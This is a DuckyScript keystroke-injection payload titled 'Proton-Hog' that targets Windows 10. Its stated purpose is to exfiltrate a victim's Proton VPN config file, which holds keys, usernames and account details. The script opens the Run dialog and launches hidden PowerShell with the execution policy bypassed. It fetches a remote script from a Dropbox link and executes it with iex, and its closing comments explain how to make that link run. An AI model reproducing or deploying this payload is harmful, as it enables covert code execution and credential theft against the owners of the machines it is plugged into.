REM     Title: Proton-Hog

REM     Author: atomiczsec

REM     Description: A payload to exfiltrate the user config file of Proton VPN that contains keys and usernames as well as acount information.

REM     Target: Windows 10

DELAY 2000
GUI r
DELAY 500
STRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr < Your Shared link for the intended file> dl=1; iex $pl
ENTER

REM     Remember to replace the link with your DropBox shared link for the intended file to download
REM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1